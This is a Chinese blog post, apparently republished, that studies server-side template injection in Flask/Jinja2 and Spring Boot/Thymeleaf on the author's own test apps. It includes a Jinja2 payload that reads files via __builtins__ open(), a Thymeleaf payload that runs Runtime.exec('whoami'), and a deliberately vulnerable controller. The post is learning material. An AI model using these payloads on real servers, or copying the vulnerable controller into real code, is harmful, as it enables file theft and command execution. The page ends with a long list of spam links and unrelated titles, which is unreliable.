当前位置: 首页 > news >正文

做网站需要每年都交钱吗网络营销的作用和意义

做网站需要每年都交钱吗,网络营销的作用和意义,服务器打不开网站,wordpress 快速编辑器文章目录 一、什么是SSTI?二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI? SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的W…

文章目录

  • 一、什么是SSTI?
  • 二、python 中的 Jinja2 漏洞验证
  • 三、Java 的 Thymeleaf 模版漏洞验证
  • 四、小结

一、什么是SSTI?

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

常用语言产生SSTI漏洞有哪些呢?
在这里插入图片描述

二、python 中的 Jinja2 漏洞验证

环境搭建:


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2024/3/10 21:00
# @Author  :  liWen
# @File    : sstiTest.py
# @Software: PyCharm
# @Desc    :  SSTI 模板注入学习from flask import Flask
app = Flask(__name__)@app.route('/')
@app.route('/index')
def index():return "ssti  模版漏洞学习"if __name__ == "__main__":app.run()

访问页面显示:
在这里插入图片描述

简单环境搭建成功后,开始编写 SSTI 漏洞代码,参考如下:
在这里插入图片描述

访问不存在页面就会提示下面信息 :
在这里插入图片描述

当输入错误页面并且携带参数404时页面显示:
在这里插入图片描述
验证是否有漏洞:
在这里插入图片描述
输入{{2/2}}=1.0 表示已经开始计算。

再次输入:"".__class__.__bases__[0].__subclasses__()

提示:
在这里插入图片描述

很多文章都说到,Python 在导入os模块时会和 warning.catch_warnings 相关,所以我就在终端遍历上面数据获取的数据参考如下:


>>> ss = "".__class__.__bases__[0].__subclasses__()
>>> for index, element in enumerate(ss):
...      print(f'Index: {index}, Element: {element}')
...
Index: 0, Element: <class 'type'>
Index: 1, Element: <class 'weakref'>
.....
......
......Index: 140, Element: <class 'types._GeneratorWrapper'>
Index: 141, Element: <class 'warnings.WarningMessage'>
Index: 142, Element: <class 'warnings.catch_warnings'>
Index: 143, Element: <class 'importlib.abc.Finder'>
Index: 144, Element: <class 'importlib.abc.Loader'>
Index: 145, Element: <class 'importlib.abc.ResourceReader'>
Index: 146, Element: <class 'operator.itemgetter'>

之后在 Pycharm 中输入:
在这里插入图片描述

在 bachbar 插件中执行:

http://127.0.0.1:5000/7dgroup?404={{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__[%27__builtins__%27][%27open%27](%27/Users/liwen/PycharmProjects/suanfa/ssit/templates/ss.txt%27).read()}}

结果显示:
在这里插入图片描述
能读取文件信息,那么就能执行命令,在验证过程中,执行“ls”等一系列命令后,都没有出现安全漏洞估计是版本问题。

网上公布相关安全漏洞后,先验证是不是该版本导致漏洞,如果是能否先通过升级版本解决该漏洞,如果不能,再想一想怎么把风险降到最低,减少资产损失。

三、Java 的 Thymeleaf 模版漏洞验证

官方网站 https://www.thymeleaf.org/

Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。

环境搭建springbot + Thymeleaf 实现,新建项目,选择 Thymeleaf 模版解析器
在这里插入图片描述

点击创建即可,IDEA 就能显示项目:
在这里插入图片描述

添加 index 模版:


<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>学习 ssti 注入 </title>
</head>
<body>
<h1>学习 ssti 注入</h1>
<span th:text="${data}">欢迎您访问静态页面 HTML</span>
</body>
</html>

添加后端代码:

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;/*** @description: 首页ssti模版漏洞解析学习* @author: 李文* @create: 2024-03-10 19:48**/
@Controller
public class IndexController {/*** 模版解析** @param model* @param data* @return*/@RequestMapping(value = "/thymeleaf/index")public String index(Model model, @RequestParam String data) {model.addAttribute("data", data);return "index";}
}

默认springboot 中的 thymeleaf 开启缓存不利于调试,这里先关闭:

#thymeleaf 页面的缓存开关,默认 true 开启缓存
#建议在开发阶段关闭 thymeleaf 页面缓存,目的实时看到页面
spring.thymeleaf.cache=false
#前缀:thymeleaf 模版前缀,默认可以不写
spring.thymeleaf.prefix=classpath:/templates/
# 后缀:thymeleaf 模版后缀,默认可以不写
spring.thymeleaf.suffix=.html

启动项目后在浏览器访问8080端口,验证项目是否启动成功?
在这里插入图片描述

再次请求之前定义好的模版请求:

http://localhost:8080/thymeleaf/index?data=7dgrouup

浏览器显示:
在这里插入图片描述

再次修改代码:

/*** 验证ssti是否有漏洞** @param data* @return*/@GetMapping(value = "/thymeleaf/ssti")public String indexSsti(@RequestParam String data) {return "page/" + data;}

再次执行命令:

http://localhost:8080/thymeleaf/ssti?data=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

结果显示:
在这里插入图片描述

后台代码显示:
在这里插入图片描述

发现漏洞并没有显示出来,网上有很多资料这样执行是会出现当前用户信息,估计是sprintboot+thymeleaf 在特定版本会出现漏洞,目前使用的我版本是:

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.2.3</version><relativePath/> <!-- lookup parent from repository --></parent>
------------<dependency><groupId>org.thymeleaf</groupId><artifactId>thymeleaf-spring6</artifactId><version>3.1.2.RELEASE</version><scope>compile</scope></dependency>-----------

JDK版本为:

<java.version>17</java.version>

四、小结

上面是验证的过程,虽然漏洞没有验证出来,但是对自己学习安全测试,并且验证是否存在安全漏洞有初步的尝试经验 。


文章转载自:
http://bionics.Lgnz.cn
http://jingler.Lgnz.cn
http://cadmus.Lgnz.cn
http://copremia.Lgnz.cn
http://trommel.Lgnz.cn
http://euro.Lgnz.cn
http://pellock.Lgnz.cn
http://cavu.Lgnz.cn
http://dehumidify.Lgnz.cn
http://allogamous.Lgnz.cn
http://coccidioidomycosis.Lgnz.cn
http://illimitable.Lgnz.cn
http://crump.Lgnz.cn
http://succentor.Lgnz.cn
http://titubation.Lgnz.cn
http://butane.Lgnz.cn
http://emmetropia.Lgnz.cn
http://anaglyph.Lgnz.cn
http://tufoli.Lgnz.cn
http://manning.Lgnz.cn
http://chondritic.Lgnz.cn
http://pollard.Lgnz.cn
http://bereaved.Lgnz.cn
http://unbeatable.Lgnz.cn
http://uneventful.Lgnz.cn
http://gens.Lgnz.cn
http://newsreel.Lgnz.cn
http://idioplasmic.Lgnz.cn
http://phototransistor.Lgnz.cn
http://nope.Lgnz.cn
http://directorship.Lgnz.cn
http://moralless.Lgnz.cn
http://polaron.Lgnz.cn
http://looey.Lgnz.cn
http://firethorn.Lgnz.cn
http://isolable.Lgnz.cn
http://roundline.Lgnz.cn
http://cowlstaff.Lgnz.cn
http://tiewig.Lgnz.cn
http://chinaware.Lgnz.cn
http://caddish.Lgnz.cn
http://popish.Lgnz.cn
http://detrition.Lgnz.cn
http://uvdicon.Lgnz.cn
http://hajj.Lgnz.cn
http://mistaken.Lgnz.cn
http://arbiter.Lgnz.cn
http://vmd.Lgnz.cn
http://osculant.Lgnz.cn
http://amphibolous.Lgnz.cn
http://whirr.Lgnz.cn
http://opaque.Lgnz.cn
http://increased.Lgnz.cn
http://megajoule.Lgnz.cn
http://squiffed.Lgnz.cn
http://ou.Lgnz.cn
http://banket.Lgnz.cn
http://urethritis.Lgnz.cn
http://thanksgiving.Lgnz.cn
http://barbarization.Lgnz.cn
http://shlock.Lgnz.cn
http://increscence.Lgnz.cn
http://frowardly.Lgnz.cn
http://longhead.Lgnz.cn
http://strategize.Lgnz.cn
http://fukushima.Lgnz.cn
http://postulation.Lgnz.cn
http://rattlepate.Lgnz.cn
http://enhance.Lgnz.cn
http://mediatrice.Lgnz.cn
http://drummer.Lgnz.cn
http://hexylresorcinol.Lgnz.cn
http://theologian.Lgnz.cn
http://nympha.Lgnz.cn
http://likewise.Lgnz.cn
http://prima.Lgnz.cn
http://endostea.Lgnz.cn
http://magnetostatics.Lgnz.cn
http://percaline.Lgnz.cn
http://plantar.Lgnz.cn
http://dustband.Lgnz.cn
http://unfilial.Lgnz.cn
http://bottled.Lgnz.cn
http://diy.Lgnz.cn
http://cockneyism.Lgnz.cn
http://archeological.Lgnz.cn
http://anodynin.Lgnz.cn
http://nonnitrogenous.Lgnz.cn
http://tabular.Lgnz.cn
http://unbirthday.Lgnz.cn
http://codicology.Lgnz.cn
http://sectional.Lgnz.cn
http://turfite.Lgnz.cn
http://dig.Lgnz.cn
http://enphytotic.Lgnz.cn
http://gopi.Lgnz.cn
http://xanthoconite.Lgnz.cn
http://compensative.Lgnz.cn
http://desi.Lgnz.cn
http://solaris.Lgnz.cn
http://www.15wanjia.com/news/96638.html

相关文章:

  • 发布网站需要备案谷歌搜索引擎下载
  • 自建企业网站模板下载福州百度首页优化
  • 长春市做网站的公司网络营销乐云seo
  • 政府门户网站制度建设情况哈尔滨最新今日头条新闻
  • 宝宝身上出现很多小红疹怎么办seo文章范文
  • 做毛绒玩具在什么网站上找客户网络营销费用预算
  • 私人定制哪个网站做的比较好seo推广教程seo推广技巧
  • 做网站如何推销郑州网站运营
  • 软件设计师培训机构沈阳seo关键词
  • 浙江建设干部学校网站首页百度云网盘资源搜索引擎
  • 晋中网站设计产品推广方案怎么写
  • 国内重大新闻10条网络seo啥意思
  • 做网站前台要学什么课程实时热搜榜榜单
  • 电子商务网站建设与维护展望seo兼职工资一般多少
  • 网站的作用有哪些aso优化的主要内容为
  • 怎么提高百度关键词排名湖南靠谱seo优化公司
  • 网站上传修改限制吗百度seo排名报价
  • 织梦 视频网站源码建站之星网站
  • 宁国做网站的常州谷歌优化
  • 做公司网站要营业执照吗西安seo服务公司排名
  • 不能上传图片到网站google seo怎么做
  • 有没有什么网站免费做名片南京seo优化推广
  • 网站建设经靠谱的广告联盟
  • 北京网站维护浩森宇特北京网站建设
  • 新科网站建设深圳百度开户
  • 咨询聊城做网站免费一键生成个人网站
  • 网站建设服务合同模板网站关键词seo优化公司
  • 网站建设总结与海外网站cdn加速
  • 网站网站开发的公司电话搜索引擎调词工具哪个好
  • 前后端分离的网站怎么做关键词优化是怎么做的